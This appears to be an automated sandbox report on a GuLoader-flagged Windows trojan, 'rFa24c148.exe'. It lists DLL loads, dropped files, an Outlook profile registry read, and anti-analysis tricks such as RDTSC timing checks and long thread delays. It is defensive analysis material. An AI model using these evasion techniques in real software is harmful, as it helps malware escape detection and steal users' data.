Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_367FAD10	4_2_367FAD10
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_367FDF10	4_2_367FDF10
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_367F0508	4_2_367F0508
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_367FDBF0	4_2_367FDBF0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_367FA9F0	4_2_367FA9F0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_367F35E8	4_2_367F35E8
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_367FF1D0	4_2_367FF1D0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_367F09D0	4_2_367F09D0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_367F8DD0	4_2_367F8DD0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_367FBFD0	4_2_367FBFD0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_367F09BF	4_2_367F09BF
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_367FD5B0	4_2_367FD5B0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_367FA3B0	4_2_367FA3B0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_367FB990	4_2_367FB990
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_367F8790	4_2_367F8790
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_367FEB90	4_2_367FEB90
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_368336F0	4_2_368336F0
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36831470	4_2_36831470
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36833008	4_2_36833008
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36831B50	4_2_36831B50
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36832238	4_2_36832238
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36830D88	4_2_36830D88
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36832920	4_2_36832920
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_368336E1	4_2_368336E1
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36831460	4_2_36831460
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36833003	4_2_36833003
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36831B3F	4_2_36831B3F
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36832229	4_2_36832229
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36830015	4_2_36830015
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36830040	4_2_36830040
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36830D7B	4_2_36830D7B
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36830A10	4_2_36830A10
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_368308DE	4_2_368308DE
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36832911	4_2_36832911
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36830960	4_2_36830960
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36922788	4_2_36922788
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36922770	4_2_36922770
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36929771	4_2_36929771
Source: C:\Users\user\Desktop\rFa24c148.exe	Code function: 4_2_36920F74	4_2_36920F74

Source: C:\Users\user\Desktop\rFa24c148.exe

Code function: String function: 00402B3A appears 51 times

Source: rFa24c148.exe, 00000004.00000002.2993451068.0000000033237000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameUNKNOWN_FILET vs rFa24c148.exe

Source: rFa24c148.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/10@5/5

Source: C:\Users\user\Desktop\rFa24c148.exe

Code function: 0_2_00404457 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404457

Source: C:\Users\user\Desktop\rFa24c148.exe

Code function: 0_2_0040206A CoCreateInstance,

0_2_0040206A

Source: C:\Users\user\Desktop\rFa24c148.exe

File created: C:\Program Files (x86)\shaw

Jump to behavior

Source: C:\Users\user\Desktop\rFa24c148.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack

Jump to behavior

Source: C:\Users\user\Desktop\rFa24c148.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\rFa24c148.exe

File created: C:\Users\user\AppData\Local\Temp\nsgA16E.tmp

Jump to behavior

Source: rFa24c148.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\rFa24c148.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\rFa24c148.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: rFa24c148.exe	ReversingLabs: Detection: 15%
Source: rFa24c148.exe	Virustotal: Detection: 31%

Source: C:\Users\user\Desktop\rFa24c148.exe

File read: C:\Users\user\Desktop\rFa24c148.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\rFa24c148.exe "C:\Users\user\Desktop\rFa24c148.exe"
Source: C:\Users\user\Desktop\rFa24c148.exe	Process created: C:\Users\user\Desktop\rFa24c148.exe "C:\Users\user\Desktop\rFa24c148.exe"
Source: C:\Users\user\Desktop\rFa24c148.exe	Process created: C:\Users\user\Desktop\rFa24c148.exe "C:\Users\user\Desktop\rFa24c148.exe"	Jump to behavior

Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\rFa24c148.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\rFa24c148.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2061274960.00000000052E5000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\rFa24c148.exe

Code function: 0_2_004060E1 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004060E1

Source: C:\Users\user\Desktop\rFa24c148.exe

Code function: 0_2_10002DA0 push eax; ret

0_2_10002DCE

Source: C:\Users\user\Desktop\rFa24c148.exe

File created: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\rFa24c148.exe	API/Special instruction interceptor: Address: 5AE938D
Source: C:\Users\user\Desktop\rFa24c148.exe	API/Special instruction interceptor: Address: 1FA938D

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\rFa24c148.exe	RDTSC instruction interceptor: First address: 5AAAA11 second address: 5AAAA11 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F80C4ECD97Ah 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\rFa24c148.exe	RDTSC instruction interceptor: First address: 1F6AA11 second address: 1F6AA11 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F80C48489FAh 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 rdtsc

Source: C:\Users\user\Desktop\rFa24c148.exe	Memory allocated: 120000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Memory allocated: 33440000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Memory allocated: 33340000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 599424	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 599174	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 599047	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 598922	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 598812	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 598593	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 598484	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 598375	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 598265	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 598047	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 596826	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 596373	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 596265	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 596046	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 595937	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 595718	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 595609	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 595500	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 595390	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 595061	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 594625	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Thread delayed: delay time: 594515	Jump to behavior

Source: C:\Users\user\Desktop\rFa24c148.exe	Window / User API: threadDelayed 8391			Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe	Window / User API: threadDelayed 1458			Jump to behavior

Source: C:\Users\user\Desktop\rFa24c148.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\rFa24c148.exe

API coverage: 1.7 %

Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7872	Thread sleep count: 8391 > 30	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7872	Thread sleep count: 1458 > 30	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -599424s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -599297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -599174s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -599047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -598922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -598812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -598703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -598593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -598484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -598375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -598265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -598156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -598047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -597922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -597812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -597593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -597484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -597374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -597265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -597156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -597046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\rFa24c148.exe TID: 7868	Thread sleep time: -596937s >= -30000s	Jump to behavior
